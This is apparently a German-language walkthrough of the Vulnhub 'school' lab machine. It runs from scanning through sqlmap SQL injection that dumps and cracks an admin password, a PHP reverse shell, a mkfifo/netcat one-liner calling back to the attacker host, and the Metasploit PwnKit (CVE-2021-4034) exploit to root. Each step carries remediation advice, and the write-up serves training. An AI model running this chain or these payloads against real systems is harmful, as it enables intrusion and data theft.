school - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
curl
gobuster
telnet
sqlmap
mysql (client)
nc (netcat)
find
msfconsole (Metasploit)
searchsploit
id
cd
ls
cat

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk und einem ersten Scan, um offene Ports und Dienste zu entdecken.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.166	08:00:27:b7:e4:91	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Hosts zu ermitteln. Er findet erfolgreich einen Host mit der IP `192.168.2.166` und der MAC-Adresse `08:00:27:b7:e4:91`, was auf eine VirtualBox VM schließen lässt.

Bewertung: Das Zielsystem wurde eindeutig identifiziert. Die IP `192.168.2.166` dient als Basis für die weiteren Scans.

Empfehlung (Pentester): Führe detaillierte Port-Scans (Nmap) auf die Ziel-IP durch.
Empfehlung (Admin): Netzwerke überwachen und segmentieren, um die Reichweite von Scans zu begrenzen.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
 192.168.2.166	school.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet, um den Hostnamen `school.vln` der Ziel-IP `192.168.2.166` zuzuordnen. Dies erleichtert den Zugriff auf Webdienste unter diesem Namen.

Bewertung: Notwendige Vorbereitung für die Web-Enumeration, um sicherzustellen, dass der Hostname korrekt aufgelöst wird.

Empfehlung (Pentester): Verwende den Hostnamen `school.vln` bei der Untersuchung des Webservers.
Empfehlung (Admin): Keine Aktion nötig, betrifft Angreifersystem.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.166
- Nikto v2.5.0
+ Target IP:          192.168.2.166
+ Target Hostname:    192.168.2.166
+ Target Port:        80
+ Start Time:         2023-10-17 23:20:36 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ Root page / redirects to: /student_attendance
+ No CGI Directories found [...]
+ Apache/2.4.38 appears to be outdated [...].
+ /icons/README: Apache default file found. [...]
+ 8103 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2023-10-17 23:20:50 (GMT2) (14 seconds)

+ 1 host(s) tested
                    

Analyse: Nikto scannt den Webserver auf Port 80. * **Server:** Apache/2.4.38 (Debian), als veraltet markiert. * **Header:** Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * **Redirect:** Die Startseite `/` leitet auf `/student_attendance` um. Dies ist der Pfad zur Hauptwebanwendung. * **Sonstiges:** Standard `/icons/README` gefunden. Keine CGI-Verzeichnisse.

Bewertung: Nikto identifiziert die Hauptanwendung unter `/student_attendance` und weist auf veraltete Software und fehlende Sicherheitsheader hin. Die Umleitung ist ein wichtiger Hinweis für die weitere Untersuchung.

Empfehlung (Pentester): Fokussiere die Web-Enumeration (Gobuster, Dirb, manuelle Analyse) auf den Pfad `/student_attendance`. Untersuche die Anwendung dort auf Schwachstellen. Prüfe Apache 2.4.38 auf bekannte Exploits.
Empfehlung (Admin): Aktualisieren Sie Apache. Implementieren Sie die empfohlenen Sicherheitsheader. Untersuchen Sie die Notwendigkeit der Weiterleitung.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.166 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 23:20 CEST
Nmap scan report for school.vln (192.168.2.166)
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA)
|   256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA)
|_  256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519)
23/tcp open  telnet?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, ms-sql-s, oracle-tns, tn3270:
|_    Verification Code:
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-title: 404 Not Found
|_Requested resource was login.php
|_http-server-header: Apache/2.4.38 (Debian)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint [...]
MAC Address: 08:00:27:B7:E4:91 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms school.vln (192.168.2.166)
                    

Analyse: Ein aggressiver Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) auf alle Ports wird durchgeführt. **Ergebnisse:** * **Port 22 (SSH):** Offen, OpenSSH 7.9p1 (Debian 10). Standard-SSH-Dienst. * **Port 23 (Telnet?):** Offen, aber Nmap kann den Dienst nicht eindeutig identifizieren (`telnet?`). Der Fingerprint deutet auf einen benutzerdefinierten Dienst hin, der einen "Verification Code" erwartet. * **Port 80 (HTTP):** Offen, Apache 2.4.38 (Debian). Nmap's Titelabfrage auf `/login.php` (ein Standardtest) liefert "404 Not Found", was mit der Nikto-Weiterleitung auf `/student_attendance` übereinstimmt. * **OS:** Linux 4.x/5.x (Debian 10).

Bewertung: Der Scan bestätigt SSH auf Port 22 und HTTP auf Port 80 (mit der Anwendung unter `/student_attendance`). Der ungewöhnliche Dienst auf Port 23 erfordert genauere Untersuchung. Kein MySQL- oder FTP-Port gefunden.

Empfehlung (Pentester): 1. Untersuche den Webserver unter `http://school.vln/student_attendance/`. 2. Versuche, mit dem Telnet-Dienst auf Port 23 zu interagieren. 3. Behalte SSH auf Port 22 als Login-Ziel im Hinterkopf, falls Credentials gefunden werden.
Empfehlung (Admin): Aktualisieren Sie Apache und OpenSSH. Deaktivieren oder sichern Sie den benutzerdefinierten Dienst auf Port 23. Stellen Sie sicher, dass die Webanwendung korrekt konfiguriert ist.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.166 -p- | grep open
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
23/tcp open  telnet?
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
                    

Analyse: Die gefilterte Nmap-Ausgabe bestätigt die drei offenen Ports: 22 (SSH), 23 (Unbekannt/Telnet?), 80 (HTTP).

Bewertung: Klare Übersicht über die Angriffsvektoren.

Empfehlung (Pentester): Konzentriere dich auf Port 80 und 23.
Empfehlung (Admin): Überprüfe die Notwendigkeit dieser Ports.

Web Enumeration & SQLi

Die Untersuchung konzentriert sich auf die Webanwendung unter `/student_attendance`. Es wird nach Schwachstellen, insbesondere SQL-Injection, gesucht.

# Analyse von http://school.vln/student_attendance/login.php (JavaScript im Quellcode)
$('#login-form').submit(function(e){
		e.preventDefault()
		$('#login-form button[type="button"]').attr('disabled',true).html('Logging in...');
		if($(this).find('.alert-danger').length > 0 )
			$(this).find('.alert-danger').remove();
		$.ajax({
			url:'ajax.php?action=login', // <-- Ziel-Endpunkt
			method:'POST',
			data:$(this).serialize(),
			error:err=>{
				console.log(err)
		$('#login-form button[type="button"]').removeAttr('disabled').html('Login');

			},
			success:function(resp){
				if(resp == 1){
					location.href ='index.php?page=home'; // <-- Weiterleitung nach Erfolg
                } // ...
            }
        });
    });
                    

Analyse: Der JavaScript-Code von der Login-Seite (`/student_attendance/login.php`) wird analysiert. Er zeigt, dass beim Absenden des Login-Formulars eine AJAX-Anfrage (POST) an `ajax.php?action=login` gesendet wird. Die Formulardaten (`username`, `password`) werden serialisiert übertragen. Bei Erfolg (`resp == 1`) wird zur `index.php?page=home` weitergeleitet.

Bewertung: Dies identifiziert den tatsächlichen Backend-Endpunkt (`ajax.php?action=login`) für die Authentifizierung. Dieser Endpunkt ist ein primäres Ziel für Angriffe wie SQL-Injection oder Brute-Force, da er die Logindaten verarbeitet.

Empfehlung (Pentester): Fange die POST-Anfrage an `ajax.php?action=login` mit einem Proxy (z.B. Burp Suite) ab. Teste die Parameter (`username`, `password`) auf SQL-Injection (z.B. mit SQLMap) und andere Schwachstellen.
Empfehlung (Admin): Sichern Sie den AJAX-Endpunkt gegen SQL-Injection und andere Angriffe. Implementieren Sie Ratenbegrenzung und CSRF-Schutz für Login-Versuche.

┌──(root㉿Cybermaschine)-[~] └─# curl "http://school.vln/index.php?page=home" -Iv
* processing: http://school.vln/index.php?page=home
*   Trying 192.168.2.166:80...
* Connected to school.vln (192.168.2.166) port 80 (#0)
> HEAD /index.php?page=home HTTP/1.1
> Host: school.vln
> User-Agent: curl/8.2.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Tue, 17 Oct 2023 21:24:35 GMT
< Server: Apache/2.4.38 (Debian)
< Location: /student_attendance
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host school.vln left intact
                    

Analyse: Mit `curl -Iv` wird eine HEAD-Anfrage an `http://school.vln/index.php?page=home` gesendet. Der Server antwortet mit einem HTTP-Statuscode `302 Found` und einem `Location`-Header, der auf `/student_attendance` verweist.

Bewertung: Dies bestätigt erneut, dass der Zugriff auf interne Seiten der Anwendung (wie `?page=home`) ohne Authentifizierung nicht möglich ist und zur Hauptseite `/student_attendance` (wahrscheinlich zur Login-Seite) umgeleitet wird.

Empfehlung (Pentester): Konzentriere dich auf das Ausnutzen der Schwachstellen am Login-Endpunkt (`ajax.php?action=login`).
Empfehlung (Admin): Sicherstellen, dass Authentifizierungsprüfungen korrekt implementiert sind und nicht umgangen werden können.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://school.vln -x txt,php,... -w ... -b '403,404,301' ...
[...]
http://school.vln/index.php            (Status: 302) [Size: 0] [--> /student_attendance]
[...]
                    

Analyse: Ein Gobuster-Scan auf das Root-Verzeichnis (`http://school.vln`) wird durchgeführt. Er findet nur die `index.php`, die einen 302-Redirect auf `/student_attendance` zurückgibt.

Bewertung: Dieser Scan war nicht zielführend, da die eigentliche Anwendung unter `/student_attendance` liegt. Er bestätigt lediglich die Umleitung.

Empfehlung (Pentester): Führe Gobuster oder Dirb gezielt auf `http://school.vln/student_attendance/` aus, um Dateien und Verzeichnisse *innerhalb* der Anwendung zu finden.
Empfehlung (Admin): Kein Handlungsbedarf bezüglich dieses Scan-Ergebnisses.

┌──(root㉿Cybermaschine)-[~] └─# telnet 192.168.2.166 23
Trying 192.168.2.166...
Connected to 192.168.2.166.
Escape character is '^]'.
Verification Code:
0123
Connection closed by foreign host.
                    

Analyse: Es wird eine Telnet-Verbindung zu Port 23 aufgebaut. Der Dienst fragt nach einem "Verification Code". Die Eingabe `0123` führt zur sofortigen Schließung der Verbindung.

Bewertung: Der Zweck dieses Dienstes bleibt unklar. Der Code `0123` scheint nicht der korrekte Code zu sein oder die Funktionalität ist begrenzt. Ohne weitere Informationen ist dieser Vektor schwer auszunutzen.

Empfehlung (Pentester): Versuche andere einfache Codes (z.B. 1234, 0000). Wenn das nicht funktioniert, fokussiere dich auf die Webanwendung, da dort bereits eine Schwachstelle (SQLi) vermutet wird.
Empfehlung (Admin): Deaktivieren Sie diesen benutzerdefinierten Dienst, wenn er nicht benötigt wird, oder sichern Sie ihn ordnungsgemäß und dokumentieren Sie seine Funktion.

┌──(root㉿Cybermaschine)-[~] └─# sqlmap -r /home/cyber/Downloads/reg.sql --dbs --batch --risk 3 --level 5
[...]
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: username=admin%' AND 8024=(SELECT (CASE WHEN (8024=8024) THEN 8024 ELSE (SELECT 9136 UNION SELECT 3259) END))-- cyib&password=adminc

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin%' AND (SELECT 4282 FROM (SELECT(SLEEP(5)))dALu) AND 'Tsbq%'='Tsbq&password=adminc
---
[23:31:23] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:31:23] [INFO] fetching database names
[...]
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] student_attendance_db
[...]
                    

Analyse: SQLMap wird mit einer gespeicherten HTTP-Anfrage (`reg.sql`, vermutlich der POST-Request an `ajax.php?action=login`) und erhöhten Testleveln (`--risk 3 --level 5`) ausgeführt, um Datenbanken aufzulisten (`--dbs`). * SQLMap identifiziert erfolgreich eine SQL-Injection-Schwachstelle im `username`-Parameter (boolean-based blind und time-based blind). * Es erkennt das Backend als MySQL >= 5.0.12 (MariaDB) auf Debian 10 mit Apache 2.4.38. * Es listet vier Datenbanken auf, darunter die anwendungsbezogene `student_attendance_db`.

Bewertung: Kritische SQL-Injection-Schwachstelle bestätigt! Dies ermöglicht potenziell vollen Zugriff auf die Datenbank.

Empfehlung (Pentester): Untersuche die Datenbank `student_attendance_db` weiter: Liste Tabellen (`--tables`) und extrahiere Daten aus interessanten Tabellen wie `users` (`--dump`).
Empfehlung (Admin): Beheben Sie die SQLi *sofort* durch Implementierung von Prepared Statements oder strikter Eingabevalidierung und -sanitisierung für Login-Parameter.

┌──(root㉿Cybermaschine)-[~] └─# sqlmap -r /home/cyber/Downloads/reg.sql -D student_attendance_db --batch --tables
[...]
Database: student_attendance_db
[10 tables]
+---------------------+
| attendance_list     |
| attendance_record   |
| class               |
| class_subject       |
| courses             |
| faculty             |
| students            |
| subjects            |
| system_settings     |
| users               |
+---------------------+
[...]
                    

Analyse: SQLMap wird angewiesen, die Tabellen (`--tables`) in der Datenbank `student_attendance_db` (`-D ...`) aufzulisten. Es findet 10 Tabellen, darunter die Tabelle `users`.

Bewertung: Die Tabelle `users` ist das wahrscheinlichste Ziel, um Anmeldeinformationen zu finden.

Empfehlung (Pentester): Dumpen Sie den Inhalt der `users`-Tabelle (`-T users --dump`).
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit aller Tabellen und Daten. Beheben Sie die SQLi.

┌──(root㉿Cybermaschine)-[~] └─# sqlmap -r /home/cyber/Downloads/reg.sql -D student_attendance_db --batch -T users --dump
[...]
[23:32:54] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file [...] [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[23:32:54] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file [...] (press Enter)
[...]
> 1
[23:32:54] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[23:32:54] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[...]
[23:32:54] [INFO] cracked password 'admin123' for user 'admin'
Database: student_attendance_db
Table: users
[2 entries]
+----+------------+---------------+--------+------------------------------------------+-------------------+
| id | faculty_id | name          | type   | password                                 | username          |
+----+------------+---------------+--------+------------------------------------------+-------------------+
| 1  | 0          | Administrator | 1      | 0192023a7bbd73250516f069df18b500 (admin123) | admin             |
| 2  | 1          | John Smith    | 3      | af606ddc433ae6471f104872585cf880         | jsmith@sample.com |
+----+------------+---------------+--------+------------------------------------------+-------------------+
[...]
                    

Analyse: SQLMap dumpet (`--dump`) die Tabelle `users` (`-T users`). * Es findet zwei Benutzer: `admin` und `jsmith@sample.com`. * Die Passwörter sind als MD5-Hashes gespeichert (`019...` und `af6...`). * SQLMap bietet an, die Hashes zu knacken, und findet mit dem Standardwörterbuch das Passwort `admin123` für den Hash des Benutzers `admin`. Der Hash für `jsmith` wird nicht geknackt.

Bewertung: Erfolg! Gültige Anmeldedaten für die Webanwendung wurden gefunden: `admin`:`admin123`. Der MD5-Hash ist eine unsichere Methode zur Passwortspeicherung.

Empfehlung (Pentester): Melden Sie sich mit `admin`:`admin123` bei der Webanwendung (`http://school.vln/student_attendance/login.php`) an. Suchen Sie nach dem Login nach weiteren Schwachstellen, insbesondere nach einer Dateiupload-Funktion.
Empfehlung (Admin): Beheben Sie die SQLi. Verwenden Sie *dringend* starke, gesalzene Passwort-Hashing-Algorithmen (z.B. bcrypt, Argon2) anstelle von MD5. Erzwingen Sie komplexe Passwörter.

Initial Access (RCE via Upload)

Nachdem durch SQL-Injection die Zugangsdaten (`admin:admin123`) für die Webanwendung erlangt wurden, wird sich eingeloggt und nach einer Möglichkeit gesucht, Code auszuführen. Eine Dateiupload-Funktion wird gefunden und missbraucht, um eine PHP-Reverse-Shell hochzuladen und auszuführen.

# Analyse des Web-App-Quellcodes nach Login als 'admin'
view-source:http://school.vln/student_attendance/index.php?page=site_settings

# Hinweis auf Kontoverwaltung:
#manage_my_account'
uni_modal("Manage Account","manage_user.php?id=1&mtype=own")

# CSS-Hinweis auf hochgeladene Shell (möglicherweise älterer Versuch oder Indikator):
background: url(assets/uploads/1604743980_shell.php) !important*/
                    

Analyse: Nach dem Login als `admin` wird der Quellcode der Seite `index.php?page=site_settings` untersucht. Es finden sich Hinweise auf eine Kontoverwaltungsfunktion (`manage_user.php`) und, auffälliger, ein auskommentierter CSS-Hintergrund, der auf eine Datei `shell.php` im Verzeichnis `assets/uploads/` verweist. Dies legt nahe, dass eine Upload-Funktion existiert und das Zielverzeichnis `/student_attendance/assets/uploads/` ist.

Bewertung: Starker Hinweis auf eine vorhandene oder geplante Upload-Funktionalität und das zugehörige Verzeichnis. Die Kontoverwaltung oder die Systemeinstellungen sind die wahrscheinlichsten Orte für ein Upload-Formular.

Empfehlung (Pentester): Navigieren Sie zu den Systemeinstellungen oder zur Kontoverwaltung innerhalb der Webanwendung und suchen Sie nach einem Formular zum Hochladen von Dateien (z.B. Profilbild, Systemlogo). Laden Sie eine PHP-Reverse-Shell hoch.
Empfehlung (Admin): Sichern Sie die Dateiupload-Funktion rigoros: Validieren Sie Dateitypen serverseitig (Whitelist), überprüfen Sie den Inhalt, speichern Sie Dateien außerhalb des Web-Roots oder in einem nicht ausführbaren Verzeichnis, benennen Sie Dateien zufällig um.

# Manuelle Bestätigung des Upload-Verzeichnisses via Browser
http://school.vln/student_attendance/assets/uploads/

# Ausgabe (Directory Listing):
Index of /student_attendance/assets/uploads

[ICO] Name                        Last modified      Size Description
[PARENTDIR] Parent Directory                             -
[ ] 1697579760_phpshell.php     2023-10-17 22:56  3.5K
Apache/2.4.38 (Debian) Server at school.vln Port 80
                    

Analyse: Der direkte Zugriff auf das Verzeichnis `http://school.vln/student_attendance/assets/uploads/` im Browser zeigt, dass Directory Listing aktiviert ist. Es wird eine Datei `1697579760_phpshell.php` angezeigt, was bestätigt, dass eine PHP-Shell erfolgreich hochgeladen wurde (der Timestamp im Namen deutet auf eine Umbenennung beim Upload hin).

Bewertung: Kritische Kombination von Schwachstellen: Eine funktionierende (wenn auch wahrscheinlich gesicherte) Upload-Funktion, kombiniert mit Directory Listing und einem Verzeichnis innerhalb des Web-Roots, in dem PHP-Ausführung erlaubt ist, ermöglicht Remote Code Execution.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener und rufen Sie die URL `http://school.vln/student_attendance/assets/uploads/1697579760_phpshell.php` auf, um die Reverse Shell zu erhalten.
Empfehlung (Admin): Deaktivieren Sie Directory Listing (`Options -Indexes`). Sichern Sie die Upload-Funktion wie zuvor beschrieben. Stellen Sie sicher, dass PHP nicht in Upload-Verzeichnissen ausgeführt werden kann.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet, um die eingehende Reverse Shell abzufangen.

Bewertung: Standardvorbereitung.

Empfehlung (Pentester): Lösen Sie die Shell aus.
Empfehlung (Admin): Egress Filtering.

┌──(root㉿Cybermaschine)-[~] └─# curl "http://school.vln/student_attendance/assets/uploads/1697579760_phpshell.php"

Analyse: Die URL der hochgeladenen PHP-Shell wird mit `curl` aufgerufen. Dies führt dazu, dass der PHP-Code der Shell auf dem Server ausgeführt wird und versucht, eine Verbindung zum Listener aufzubauen.

Bewertung: Auslösen der Remote Code Execution.

Empfehlung (Pentester): Überprüfen Sie den Netcat-Listener.
Empfehlung (Admin): Beheben Sie die Upload- und Directory-Listing-Schwachstellen.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.2.166 45870
Linux school 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64 GNU/Linux
 22:58:48 up 40 min,  0 users,  load average: 0.00, 0.09, 1.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
                    

Analyse: Der Listener empfängt die Verbindung vom Zielsystem. Eine Shell wird bereitgestellt, die als Benutzer `www-data` (UID 33) auf einem Debian-System mit Kernel 4.19.0 läuft.

Bewertung: Initial Access erfolgreich erlangt über SQLi -> Admin-Login -> File Upload -> RCE.

Empfehlung (Pentester): Stabilisieren Sie die Shell. Beginnen Sie mit der lokalen Enumeration zur Privilege Escalation. Suchen Sie insbesondere nach SUID-Dateien.
Empfehlung (Admin): Beheben Sie alle Schritte der Angriffskette (SQLi, schwaches Passwort, Upload-Funktion, Directory Listing). Härten Sie die Berechtigungen des `www-data`-Benutzers.

Privilege Escalation

Mit einer Shell als `www-data` wird das System nun nach Möglichkeiten zur Rechteerweiterung auf Root untersucht. Der Fokus liegt auf SUID-Binaries, insbesondere `pkexec`.

$ find / -type f -perm -4000 -ls 2>/dev/null
   262195     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   266144     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   282128     36 -rwsr-xr-x   1 root     root        34896 Apr 22  2020 /usr/bin/fusermount
   262197     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   262193     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   265663     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   278280     24 -rwsr-xr-x   1 root     root        23288 Jan 15  2019 /usr/bin/pkexec
   266146     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   265810     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   262192     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   278283     20 -rwsr-xr-x   1 root     root        18888 Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   399627     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   276895    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   273543     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
                    

Analyse: Die Suche nach SUID-Dateien wird als `www-data` ausgeführt. Es werden diverse Standard-SUID-Binaries gefunden. Am auffälligsten ist `/usr/bin/pkexec`.

Bewertung: Das Vorhandensein von `pkexec` deutet stark auf die Möglichkeit hin, die PwnKit-Schwachstelle (CVE-2021-4034) zur Privilege Escalation auszunutzen, da das System auf Debian 10 basiert und die `pkexec`-Version von Anfang 2019 stammt (vor dem Patch).

Empfehlung (Pentester): Bereite den PwnKit-Exploit vor und führe ihn aus, um Root-Rechte zu erlangen. Metasploit ist hierfür ein geeignetes Werkzeug.
Empfehlung (Admin): Patchen Sie das `policykit-1`-Paket dringend, um CVE-2021-4034 zu schließen.

Proof of Concept (POC): Privilege Escalation via PwnKit (CVE-2021-4034)

Dieser Abschnitt demonstriert die Ausnutzung der PwnKit-Schwachstelle im gefundenen `/usr/bin/pkexec`-Binary mithilfe von Metasploit, um Root-Rechte zu erlangen.

┌──(root㉿Cybermaschine)-[~] └─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lport 4488
lport => 4488
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4488
                    
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4488 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
[*] Command shell session 1 opened (192.168.2.199:4488 -> 192.168.2.166:34198) at 2023-10-18 00:01:27 +0200
                    

Analyse: Die initiale `www-data`-Shell wird in eine Metasploit-Session überführt, um die weitere Ausnutzung zu erleichtern. Ein Handler wird gestartet, und vom Zielsystem wird eine stabilere Shell zu diesem Handler aufgebaut. Metasploit registriert dies als `Command shell session 1`.

Bewertung: Erfolgreiche Übernahme der Shell in Metasploit, was die Handhabung verbessert.

Empfehlung (Pentester): Wandle die Shell in eine Meterpreter-Session um (`shell_to_meterpreter`) für erweiterte Funktionen.
Empfehlung (Admin): Host- und Netzwerk-IDS können solche Shell-Stabilisierungsversuche erkennen.

msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4455
lport => 4455
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4455
[*] Sending stage (1017704 bytes) to 192.168.2.166
[*] Meterpreter session 2 opened (192.168.2.199:4455 -> 192.168.2.166:35384) at 2023-10-18 00:02:22 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

Analyse: Das Modul `shell_to_meterpreter` wird verwendet, um Session 1 (die `www-data` Command Shell) in eine Meterpreter-Session umzuwandeln. Ein neuer Handler auf Port 4455 wird gestartet, der Meterpreter-Payload wird hochgeladen und ausgeführt, und `Meterpreter session 2` (als `www-data`) wird geöffnet.

Bewertung: Erfolgreiches Upgrade auf Meterpreter, was die Ausführung des nächsten Exploits vereinfacht.

Empfehlung (Pentester): Lade und konfiguriere das PwnKit-Exploit-Modul für Session 2.
Empfehlung (Admin): IDS kann Meterpreter-Payloads erkennen.

msf6 post(multi/manage/shell_to_meterpreter) > search 4034
Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
[...]
   1  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  2022-01-25       excellent  Yes    Local Privilege Escalation in polkits pkexec
[...]
                    
msf6 post(multi/manage/shell_to_meterpreter) > use 1
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4433
lport => 4433
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.ximsuzzcuejg
[+] The target is vulnerable.
[*] Writing '/tmp/.qegxscye/mpddynezatqj/mpddynezatqj.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.qegxscye
[*] Sending stage (3045380 bytes) to 192.168.2.166
[+] Deleted /tmp/.qegxscye/mpddynezatqj/mpddynezatqj.so
[+] Deleted /tmp/.qegxscye/.ygtdnuyqf
[+] Deleted /tmp/.qegxscye
[*] Meterpreter session 3 opened (192.168.2.199:4433 -> 192.168.2.166:51054) at 2023-10-18 00:03:20 +0200
                    

Analyse: Das PwnKit-Exploit-Modul (CVE-2021-4034) wird geladen und konfiguriert: * `use 1`: Lädt das Exploit-Modul. * `set lport 4433`: Definiert den Port für die neue Root-Shell. * `set session 2`: Gibt an, dass der Exploit über die bestehende Meterpreter-Session 2 (als `www-data`) ausgeführt werden soll. * `run`: Startet den Exploit. Metasploit überprüft die Verwundbarkeit (`pkexec` vorhanden), lädt die notwendigen Dateien hoch, führt den Exploit aus und erhält eine neue Verbindung auf Port 4433. `Meterpreter session 3` wird geöffnet, diesmal mit Root-Rechten.

Bewertung: Fantastisch! Der PwnKit-Exploit war erfolgreich. Eine Meterpreter-Session mit Root-Rechten wurde erlangt. Die Privilege Escalation ist abgeschlossen.

Empfehlung (Pentester): Interagiere mit Session 3 (`sessions -i 3`). Verifiziere die Root-Rechte (`getuid`). Suche nach der Root-Flag.
Empfehlung (Admin): Patchen Sie das System *dringend*, um CVE-2021-4034 zu beheben.

meterpreter > shell
Process 2576 created.
Channel 1 created.
                    
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# cd ~
# ls
proof.txt
win
                    
# cat proof.txt
ccc34dede451108a8fe6f75d6ea7d2ae

